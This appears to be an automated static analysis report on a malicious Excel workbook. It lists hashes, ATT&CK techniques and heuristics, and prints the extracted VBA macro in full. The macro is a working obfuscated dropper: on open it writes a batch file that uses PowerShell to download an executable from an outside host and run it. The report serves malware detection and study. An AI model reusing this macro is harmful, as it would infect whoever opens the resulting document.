Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 83f11fa39f67f52f…

MALICIOUS

Office (OOXML)

13.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-21
MD5: ebf7dff33efecf8d2bf9d00dcf04157f SHA-1: 8f6f012a58bfa618084689726c32e0a3d6dab308 SHA-256: 83f11fa39f67f52f49fddbca4e459c5ec219cb19f93aa8a15982e600b81e8891
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

The VBA macro contains an Auto_Open subroutine that executes when the document is opened. This subroutine constructs a PowerShell command to download a second-stage executable from 'https://official01.my03.com/w/ConsoleApp5.exe' and save it as 'C:\Users\Public\Documents\usnew.exe'. It then executes this downloaded file. The macro also creates a batch file 'C:\Users\Public\Documents\god.bat' which contains the PowerShell download and execution command.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1213 bytes
SHA-256: 198d624ab269defdf5c35cf1f5b04f8a2993248a4e4f50cc71a2f761296c53ac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub auto_Open()
shareboard = "powers"
glassafter = "hell"
Set sixless = GetObject("new:0D43FE01-F093-11CF-8940-00A0C905422" & CInt(7.6))
spe = "C:\Users\Public\Documents\god.bat"
Set sixless2 = sixless.CreateTextFile(specificday)
sixless2.WriteLine shareboard & glassafter & " -w hi sleep -Se 32;iwr -uri htt`ps://official01.my03.com/w/ConsoleApp5.e`xe -outfile C:\Users\Public\Documents\usnew.e`xe;C:\Users\Public\Documents\usnew.e`xe"
sixless2.Close
GetObject("new:13709620-C279-11CE-A49E-44455354000" & CInt(0.3)).Open (spec)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 88ad824d621010a21cb078b110f67013e6e5f5232a13de816136658aac522414